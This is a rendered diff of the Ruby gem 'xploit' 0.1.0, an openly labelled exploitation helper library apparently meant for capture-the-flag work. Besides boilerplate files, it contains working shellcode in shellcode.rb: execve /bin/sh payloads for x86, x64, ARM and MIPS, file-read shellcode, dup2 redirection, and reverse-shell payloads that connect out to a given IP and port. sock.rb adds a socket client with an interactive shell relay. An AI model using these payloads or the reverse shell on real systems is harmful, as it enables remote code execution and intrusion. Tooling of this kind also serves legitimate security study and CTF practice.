xploit 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.gitignore +12 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +7 -0
- data/LICENSE.txt +21 -0
- data/README.md +27 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/lib/xploit.rb +11 -0
- data/lib/xploit/constant.rb +29 -0
- data/lib/xploit/libc.rb +56 -0
- data/lib/xploit/shellcode.rb +61 -0
- data/lib/xploit/sock.rb +97 -0
- data/lib/xploit/util.rb +103 -0
- data/lib/xploit/version.rb +7 -0
- data/xploit.gemspec +28 -0
- metadata +104 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA1:
|
3
|
+
metadata.gz: 15494f96a32a32a5c85191752fd6c61b88f8e035
|
4
|
+
data.tar.gz: 0ef01c65c9d05c7615db7fb3f941825490331f76
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: '08957b85c0d193d4139e56309781ad11682c7e326796479444081462e38a4953d4c2a29f6548fde086ab26658349131b5962b321f228be260eda8fa064a0e1c4'
|
7
|
+
data.tar.gz: 69b3b49122c2abb22038fd23d359a6efb829f5ffac495ad8df61b9d787891f46f3cf44ffb6e366a89d4d096eaa8f5513b187d1322799a5cd587841524d71c6db
|
data/.gitignore
ADDED
data/.rspec
ADDED
data/.travis.yml
ADDED
data/CODE_OF_CONDUCT.md
ADDED
@@ -0,0 +1,74 @@
|
|
1
|
+
# Contributor Covenant Code of Conduct
|
2
|
+
|
3
|
+
## Our Pledge
|
4
|
+
|
5
|
+
In the interest of fostering an open and welcoming environment, we as
|
6
|
+
contributors and maintainers pledge to making participation in our project and
|
7
|
+
our community a harassment-free experience for everyone, regardless of age, body
|
8
|
+
size, disability, ethnicity, gender identity and expression, level of experience,
|
9
|
+
nationality, personal appearance, race, religion, or sexual identity and
|
10
|
+
orientation.
|
11
|
+
|
12
|
+
## Our Standards
|
13
|
+
|
14
|
+
Examples of behavior that contributes to creating a positive environment
|
15
|
+
include:
|
16
|
+
|
17
|
+
* Using welcoming and inclusive language
|
18
|
+
* Being respectful of differing viewpoints and experiences
|
19
|
+
* Gracefully accepting constructive criticism
|
20
|
+
* Focusing on what is best for the community
|
21
|
+
* Showing empathy towards other community members
|
22
|
+
|
23
|
+
Examples of unacceptable behavior by participants include:
|
24
|
+
|
25
|
+
* The use of sexualized language or imagery and unwelcome sexual attention or
|
26
|
+
advances
|
27
|
+
* Trolling, insulting/derogatory comments, and personal or political attacks
|
28
|
+
* Public or private harassment
|
29
|
+
* Publishing others' private information, such as a physical or electronic
|
30
|
+
address, without explicit permission
|
31
|
+
* Other conduct which could reasonably be considered inappropriate in a
|
32
|
+
professional setting
|
33
|
+
|
34
|
+
## Our Responsibilities
|
35
|
+
|
36
|
+
Project maintainers are responsible for clarifying the standards of acceptable
|
37
|
+
behavior and are expected to take appropriate and fair corrective action in
|
38
|
+
response to any instances of unacceptable behavior.
|
39
|
+
|
40
|
+
Project maintainers have the right and responsibility to remove, edit, or
|
41
|
+
reject comments, commits, code, wiki edits, issues, and other contributions
|
42
|
+
that are not aligned to this Code of Conduct, or to ban temporarily or
|
43
|
+
permanently any contributor for other behaviors that they deem inappropriate,
|
44
|
+
threatening, offensive, or harmful.
|
45
|
+
|
46
|
+
## Scope
|
47
|
+
|
48
|
+
This Code of Conduct applies both within project spaces and in public spaces
|
49
|
+
when an individual is representing the project or its community. Examples of
|
50
|
+
representing a project or community include using an official project e-mail
|
51
|
+
address, posting via an official social media account, or acting as an appointed
|
52
|
+
representative at an online or offline event. Representation of a project may be
|
53
|
+
further defined and clarified by project maintainers.
|
54
|
+
|
55
|
+
## Enforcement
|
56
|
+
|
57
|
+
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
58
|
+
reported by contacting the project team at pgm3rdlinuxor1000@gmail.com. All
|
59
|
+
complaints will be reviewed and investigated and will result in a response that
|
60
|
+
is deemed necessary and appropriate to the circumstances. The project team is
|
61
|
+
obligated to maintain confidentiality with regard to the reporter of an incident.
|
62
|
+
Further details of specific enforcement policies may be posted separately.
|
63
|
+
|
64
|
+
Project maintainers who do not follow or enforce the Code of Conduct in good
|
65
|
+
faith may face temporary or permanent repercussions as determined by other
|
66
|
+
members of the project's leadership.
|
67
|
+
|
68
|
+
## Attribution
|
69
|
+
|
70
|
+
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
|
71
|
+
available at [http://contributor-covenant.org/version/1/4][version]
|
72
|
+
|
73
|
+
[homepage]: http://contributor-covenant.org
|
74
|
+
[version]: http://contributor-covenant.org/version/1/4/
|
data/Gemfile
ADDED
data/LICENSE.txt
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2017 Chihiro Hasegawa
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in
|
13
|
+
all copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
21
|
+
THE SOFTWARE.
|
data/README.md
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
# Xploit
|
2
|
+
|
3
|
+
## Usage
|
4
|
+
|
5
|
+
```
|
6
|
+
require 'xploit'
|
7
|
+
|
8
|
+
host = 'localhost'
|
9
|
+
port = 8888
|
10
|
+
|
11
|
+
if ARGV[0] == "r" # remote
|
12
|
+
host = 'remote.host'
|
13
|
+
port = 9999
|
14
|
+
end
|
15
|
+
|
16
|
+
Sock.open(host, port) do |s|
|
17
|
+
|
18
|
+
s.debug = true # default false
|
19
|
+
|
20
|
+
puts s.recvline
|
21
|
+
|
22
|
+
s.sendline("Here is shellcode")
|
23
|
+
|
24
|
+
s.shell
|
25
|
+
|
26
|
+
end
|
27
|
+
```
|
data/Rakefile
ADDED
data/bin/console
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
require "bundler/setup"
|
4
|
+
require "xploit"
|
5
|
+
|
6
|
+
# You can add fixtures and/or initialization code here to make experimenting
|
7
|
+
# with your gem easier. You can also use a different console, if you like.
|
8
|
+
|
9
|
+
# (If you use this, don't forget to add pry to your Gemfile!)
|
10
|
+
# require "pry"
|
11
|
+
# Pry.start
|
12
|
+
|
13
|
+
require "irb"
|
14
|
+
IRB.start(__FILE__)
|
data/bin/setup
ADDED
data/lib/xploit.rb
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
# coding: ascii-8bit
|
2
|
+
|
3
|
+
module Xploit
|
4
|
+
|
5
|
+
NULL = 0
|
6
|
+
STDIN_FILENO = 0
|
7
|
+
STDOUT_FILENO = 1
|
8
|
+
STDERR_FINENO = 2
|
9
|
+
SEEK_SET = 0
|
10
|
+
SEEK_CUR = 1
|
11
|
+
SEEK_END = 2
|
12
|
+
O_RDONLY = 00000
|
13
|
+
O_WRONLY = 00001
|
14
|
+
O_RDWR = 00002
|
15
|
+
O_CREAT = 00100
|
16
|
+
O_APPEND = 02000
|
17
|
+
PROT_NONE = 0b000
|
18
|
+
PROT_READ = 0b001
|
19
|
+
PROT_WRITE = 0b010
|
20
|
+
PROT_EXEC = 0b100
|
21
|
+
PROT_RWX = 0b111
|
22
|
+
MAP_SHARED = 0b001
|
23
|
+
MAP_PRIVATE = 0b010
|
24
|
+
MAP_ANONYMOUS = 0x20
|
25
|
+
PREV_INUSE = 0b001
|
26
|
+
IS_MMAPED = 0b010
|
27
|
+
IS_NON_MAINARENA = 0b100
|
28
|
+
|
29
|
+
end
|
data/lib/xploit/libc.rb
ADDED
@@ -0,0 +1,56 @@
|
|
1
|
+
# coding: ascii-8bit
|
2
|
+
|
3
|
+
module Xploit
|
4
|
+
|
5
|
+
class Libc
|
6
|
+
|
7
|
+
def initialize(path)
|
8
|
+
|
9
|
+
@func = {}
|
10
|
+
@string = {}
|
11
|
+
|
12
|
+
res = `nm -t d -D #{path}`.split("\n")
|
13
|
+
res.each do |line|
|
14
|
+
offset, name = line.match(/(.+) . (.+)/)[1,2]
|
15
|
+
@func[name] = offset.to_i
|
16
|
+
end
|
17
|
+
|
18
|
+
res = `strings -tx -a -t d #{path}`.split("\n")
|
19
|
+
res.each do |line|
|
20
|
+
offset, name = line.match(/(.+) (.+)/)[1,2]
|
21
|
+
@string[name] = offset.to_i
|
22
|
+
end
|
23
|
+
|
24
|
+
end
|
25
|
+
|
26
|
+
def symbol(key)
|
27
|
+
|
28
|
+
if key.class != String
|
29
|
+
raise ArgumentError
|
30
|
+
end
|
31
|
+
|
32
|
+
if @func.keys.include?(key)
|
33
|
+
@func[key]
|
34
|
+
else
|
35
|
+
raise ArgumentError, "Not found symbol: #{key}"
|
36
|
+
end
|
37
|
+
|
38
|
+
end
|
39
|
+
|
40
|
+
def string(key)
|
41
|
+
|
42
|
+
if key.class != String
|
43
|
+
raise ArgumentError
|
44
|
+
end
|
45
|
+
|
46
|
+
if @string.keys.include?(key)
|
47
|
+
@string[key]
|
48
|
+
else
|
49
|
+
raise ArgumentError, "Not found string: #{key}"
|
50
|
+
end
|
51
|
+
|
52
|
+
end
|
53
|
+
|
54
|
+
end
|
55
|
+
|
56
|
+
end
|
@@ -0,0 +1,61 @@
|
|
1
|
+
# coding: ascii-8bit
|
2
|
+
|
3
|
+
module Xploit
|
4
|
+
|
5
|
+
module Shellcode
|
6
|
+
|
7
|
+
module_function
|
8
|
+
|
9
|
+
def shellcode(arch)
|
10
|
+
case arch
|
11
|
+
when :x86
|
12
|
+
# http://inaz2.hatenablog.com/entry/2014/03/13/013056
|
13
|
+
"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
|
14
|
+
when :x64
|
15
|
+
# http://shell-storm.org/shellcode/files/shellcode-806.php
|
16
|
+
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
|
17
|
+
when :arm
|
18
|
+
# http://shell-storm.org/shellcode/files/shellcode-698.php
|
19
|
+
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
|
20
|
+
when :mipsel
|
21
|
+
# https://www.exploit-db.com/exploits/35868/
|
22
|
+
"\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01"
|
23
|
+
end
|
24
|
+
end
|
25
|
+
|
26
|
+
def orw(arch, path)
|
27
|
+
case arch
|
28
|
+
# http://shell-storm.org/shellcode/files/shellcode-73.php
|
29
|
+
when :x86
|
30
|
+
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff#{path}"
|
31
|
+
|
32
|
+
# http://shell-storm.org/shellcode/files/shellcode-878.php
|
33
|
+
when :x64
|
34
|
+
"\xeb\x3f\x5f\x80\x77#{(path.length).chr}\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff#{path}A"
|
35
|
+
end
|
36
|
+
end
|
37
|
+
|
38
|
+
def dup2(arch, newfd = 3)
|
39
|
+
case arch
|
40
|
+
when :x86
|
41
|
+
"\x31\xff\x6a\x3f\x58\x6a#{newfd.chr}\x5b\x89\xf9\xcd\x80\x47\x83\xff\x03\x75\xf0"
|
42
|
+
when :x64
|
43
|
+
"\x48\x31\xdb\x6a\x21\x58\x6a#{newfd.chr}\x5f\x48\x89\xde\x0f\x05\x48\xff\xc3\x48\x83\xfb\x03\x75\xec"
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
def reverse_shell(arch, ip, port)
|
48
|
+
case arch
|
49
|
+
when :x86
|
50
|
+
# http://shell-storm.org/shellcode/files/shellcode-883.php
|
51
|
+
"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68" + ip.split(".").map{|a| a.to_i.chr}.join + "\x66\x68" + [port].pack("n") + "\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
|
52
|
+
when :x64
|
53
|
+
# http://shell-storm.org/shellcode/files/shellcode-857.php
|
54
|
+
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" + "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" + "\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" + "\x02" + [port].pack("n") + "\xc7\x44\x24\x04" + ip.split(".").map{|a| a.to_i.chr}.join + "\x48\x89\xe6\x6a\x10" + "\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" + "\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" + "\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" + "\x5f\x6a\x3b\x58\x0f\x05"
|
55
|
+
end
|
56
|
+
|
57
|
+
end
|
58
|
+
|
59
|
+
end
|
60
|
+
|
61
|
+
end
|
data/lib/xploit/sock.rb
ADDED
@@ -0,0 +1,97 @@
|
|
1
|
+
# coding: ascii-8bit
|
2
|
+
|
3
|
+
require 'socket'
|
4
|
+
require 'hexdump'
|
5
|
+
|
6
|
+
module Xploit
|
7
|
+
|
8
|
+
class SendError < StandardError; end
|
9
|
+
class RecvError < StandardError; end
|
10
|
+
|
11
|
+
class Sock
|
12
|
+
|
13
|
+
attr_accessor :debug, :timeout
|
14
|
+
|
15
|
+
def initialize(host, port, timeout = nil, debug = false)
|
16
|
+
@sock = TCPSocket.open(host, port)
|
17
|
+
@timeout = 0.5
|
18
|
+
@debug = debug
|
19
|
+
puts "[\e[32m*\e[0m] Connect to #{host}:#{port}"
|
20
|
+
end
|
21
|
+
|
22
|
+
def self.open(host, port, timeout = nil, debug = false)
|
23
|
+
if block_given?
|
24
|
+
s = Sock.new(host, port, timeout, debug)
|
25
|
+
yield(s)
|
26
|
+
s.close
|
27
|
+
else
|
28
|
+
Sock.new(host, port, timeout, debug)
|
29
|
+
end
|
30
|
+
end
|
31
|
+
|
32
|
+
def send(data, debug = false)
|
33
|
+
|
34
|
+
@debug = debug
|
35
|
+
|
36
|
+
puts "[\e[34m SEND \e[0m]" if @debug
|
37
|
+
len = @sock.write(data)
|
38
|
+
raise SendError if len != data.bytesize
|
39
|
+
|
40
|
+
Hexdump.dump(data) if @debug
|
41
|
+
|
42
|
+
return len
|
43
|
+
|
44
|
+
end
|
45
|
+
|
46
|
+
def sendline(msg, debug = false)
|
47
|
+
send(msg + "\n", debug = debug)
|
48
|
+
end
|
49
|
+
|
50
|
+
def recv(n = nil, delim = nil, debug = false)
|
51
|
+
|
52
|
+
@debug = debug
|
53
|
+
puts "[ \e[35mRECV\e[0m ]" if @debug
|
54
|
+
|
55
|
+
unless n.nil?
|
56
|
+
res = @sock.read(n)
|
57
|
+
Hexdump.dump(res) if @debug
|
58
|
+
return res
|
59
|
+
end
|
60
|
+
|
61
|
+
res = ""
|
62
|
+
while select([@sock], nil, nil,timeout=@timeout)
|
63
|
+
s = @sock.read(1)
|
64
|
+
raise RecvError if s.length != 1
|
65
|
+
res << s
|
66
|
+
return res if not delim.nil? and res.include?(delim)
|
67
|
+
end
|
68
|
+
|
69
|
+
Hexdump.dump(res) if @debug
|
70
|
+
|
71
|
+
res
|
72
|
+
|
73
|
+
end
|
74
|
+
|
75
|
+
def recvuntil(delim, debug = false)
|
76
|
+
self.recv(n = nil, delim, debug)
|
77
|
+
end
|
78
|
+
|
79
|
+
def recvline(debug = false)
|
80
|
+
recvuntil("\n", debug)
|
81
|
+
end
|
82
|
+
|
83
|
+
def shell
|
84
|
+
STDOUT.sync = true
|
85
|
+
while s = STDIN.gets
|
86
|
+
self.send(s, @debug)
|
87
|
+
puts self.recv(n = nil, delim = nil, debug = @debug)
|
88
|
+
end
|
89
|
+
end
|
90
|
+
|
91
|
+
def close
|
92
|
+
puts "[\e[32m*\e[0m] Close the connection"
|
93
|
+
@sock.close
|
94
|
+
end
|
95
|
+
|
96
|
+
end
|
97
|
+
end
|
data/lib/xploit/util.rb
ADDED
@@ -0,0 +1,103 @@
|
|
1
|
+
# coding: ascii-8bit
|
2
|
+
|
3
|
+
module Xploit
|
4
|
+
|
5
|
+
module Pack
|
6
|
+
|
7
|
+
PACK_HASH = {
|
8
|
+
byte: ['c', 1],
|
9
|
+
ubyte: ['C', 1],
|
10
|
+
word: ['s', 2],
|
11
|
+
uword: ['S', 2],
|
12
|
+
dword: ['l', 4],
|
13
|
+
udword: ['L', 4],
|
14
|
+
qword: ['q', 8],
|
15
|
+
uqword: ['Q', 8]
|
16
|
+
}
|
17
|
+
|
18
|
+
def p8(*data)
|
19
|
+
pack(data, :ubyte)
|
20
|
+
end
|
21
|
+
|
22
|
+
def pi8(*data)
|
23
|
+
pack(data, :byte)
|
24
|
+
end
|
25
|
+
|
26
|
+
def p16(*data)
|
27
|
+
pack(data, :uword)
|
28
|
+
end
|
29
|
+
|
30
|
+
def pi16(*data)
|
31
|
+
pack(data, :word)
|
32
|
+
end
|
33
|
+
|
34
|
+
def p32(*data)
|
35
|
+
pack(data, :udword)
|
36
|
+
end
|
37
|
+
|
38
|
+
def pi32(*data)
|
39
|
+
pack(data, :dword)
|
40
|
+
end
|
41
|
+
|
42
|
+
def p64(*data)
|
43
|
+
pack(data, :uqword)
|
44
|
+
end
|
45
|
+
|
46
|
+
def pi64(*data)
|
47
|
+
pack(data, :qword)
|
48
|
+
end
|
49
|
+
|
50
|
+
def u8(*data)
|
51
|
+
unpack(data, :ubyte)
|
52
|
+
end
|
53
|
+
|
54
|
+
def ui8(*data)
|
55
|
+
unpack(data, :byte)
|
56
|
+
end
|
57
|
+
|
58
|
+
def u16(*data)
|
59
|
+
unpack(data, :uword)
|
60
|
+
end
|
61
|
+
|
62
|
+
def ui16(*data)
|
63
|
+
unpack(data, :word)
|
64
|
+
end
|
65
|
+
|
66
|
+
def u32(*data)
|
67
|
+
unpack(data, :udword)
|
68
|
+
end
|
69
|
+
|
70
|
+
def ui32(*data)
|
71
|
+
unpack(data, :dword)
|
72
|
+
end
|
73
|
+
|
74
|
+
def u64(*data)
|
75
|
+
unpack(data, :uqword)
|
76
|
+
end
|
77
|
+
|
78
|
+
def ui64(*data)
|
79
|
+
unpack(data, :qword)
|
80
|
+
end
|
81
|
+
|
82
|
+
def pack(data, type)
|
83
|
+
data.flatten.pack("#{PACK_HASH[type][0]}*")
|
84
|
+
end
|
85
|
+
|
86
|
+
def unpack(data, type)
|
87
|
+
|
88
|
+
tempchar, tempbyte = PACK_HASH[type]
|
89
|
+
|
90
|
+
data = data.flatten.map do |d|
|
91
|
+
unless (pad_size = d.bytesize % tempbyte) == 0
|
92
|
+
pad_size = d.bytesize + tempbyte - (d.bytesize % tempbyte)
|
93
|
+
end
|
94
|
+
d.ljust(pad_size, "\x00").unpack("#{tempchar}*")
|
95
|
+
end
|
96
|
+
|
97
|
+
data.flatten
|
98
|
+
|
99
|
+
end
|
100
|
+
|
101
|
+
end
|
102
|
+
|
103
|
+
end
|
data/xploit.gemspec
ADDED
@@ -0,0 +1,28 @@
|
|
1
|
+
# coding: utf-8
|
2
|
+
lib = File.expand_path("../lib", __FILE__)
|
3
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
4
|
+
require "xploit/version"
|
5
|
+
|
6
|
+
Gem::Specification.new do |spec|
|
7
|
+
spec.name = "xploit"
|
8
|
+
spec.version = Xploit::VERSION
|
9
|
+
spec.authors = ["Chihiro Hasegawa"]
|
10
|
+
spec.email = ["pgm3rdlinuxor1000@gmail.com"]
|
11
|
+
|
12
|
+
spec.summary = %q{Exploitation library for rubyist.}
|
13
|
+
spec.description = %q{Exploitation library for rubyist.}
|
14
|
+
spec.homepage = "https://github.com/owlinux1000/xploit"
|
15
|
+
spec.license = "MIT"
|
16
|
+
|
17
|
+
spec.files = `git ls-files -z`.split("\x0").reject do |f|
|
18
|
+
f.match(%r{^(test|spec|features)/})
|
19
|
+
end
|
20
|
+
|
21
|
+
spec.bindir = "exe"
|
22
|
+
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
23
|
+
spec.require_paths = ["lib"]
|
24
|
+
|
25
|
+
spec.add_development_dependency "bundler", "~> 1.15"
|
26
|
+
spec.add_development_dependency "rake", "~> 10.0"
|
27
|
+
spec.add_development_dependency "rspec", "~> 3.0"
|
28
|
+
end
|
metadata
ADDED
@@ -0,0 +1,104 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: xploit
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Chihiro Hasegawa
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date: 2017-11-07 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: bundler
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - "~>"
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '1.15'
|
20
|
+
type: :development
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - "~>"
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '1.15'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: rake
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - "~>"
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '10.0'
|
34
|
+
type: :development
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - "~>"
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '10.0'
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: rspec
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - "~>"
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: '3.0'
|
48
|
+
type: :development
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - "~>"
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: '3.0'
|
55
|
+
description: Exploitation library for rubyist.
|
56
|
+
email:
|
57
|
+
- pgm3rdlinuxor1000@gmail.com
|
58
|
+
executables: []
|
59
|
+
extensions: []
|
60
|
+
extra_rdoc_files: []
|
61
|
+
files:
|
62
|
+
- ".gitignore"
|
63
|
+
- ".rspec"
|
64
|
+
- ".travis.yml"
|
65
|
+
- CODE_OF_CONDUCT.md
|
66
|
+
- Gemfile
|
67
|
+
- LICENSE.txt
|
68
|
+
- README.md
|
69
|
+
- Rakefile
|
70
|
+
- bin/console
|
71
|
+
- bin/setup
|
72
|
+
- lib/xploit.rb
|
73
|
+
- lib/xploit/constant.rb
|
74
|
+
- lib/xploit/libc.rb
|
75
|
+
- lib/xploit/shellcode.rb
|
76
|
+
- lib/xploit/sock.rb
|
77
|
+
- lib/xploit/util.rb
|
78
|
+
- lib/xploit/version.rb
|
79
|
+
- xploit.gemspec
|
80
|
+
homepage: https://github.com/owlinux1000/xploit
|
81
|
+
licenses:
|
82
|
+
- MIT
|
83
|
+
metadata: {}
|
84
|
+
post_install_message:
|
85
|
+
rdoc_options: []
|
86
|
+
require_paths:
|
87
|
+
- lib
|
88
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
89
|
+
requirements:
|
90
|
+
- - ">="
|
91
|
+
- !ruby/object:Gem::Version
|
92
|
+
version: '0'
|
93
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
94
|
+
requirements:
|
95
|
+
- - ">="
|
96
|
+
- !ruby/object:Gem::Version
|
97
|
+
version: '0'
|
98
|
+
requirements: []
|
99
|
+
rubyforge_project:
|
100
|
+
rubygems_version: 2.6.13
|
101
|
+
signing_key:
|
102
|
+
specification_version: 4
|
103
|
+
summary: Exploitation library for rubyist.
|
104
|
+
test_files: []
|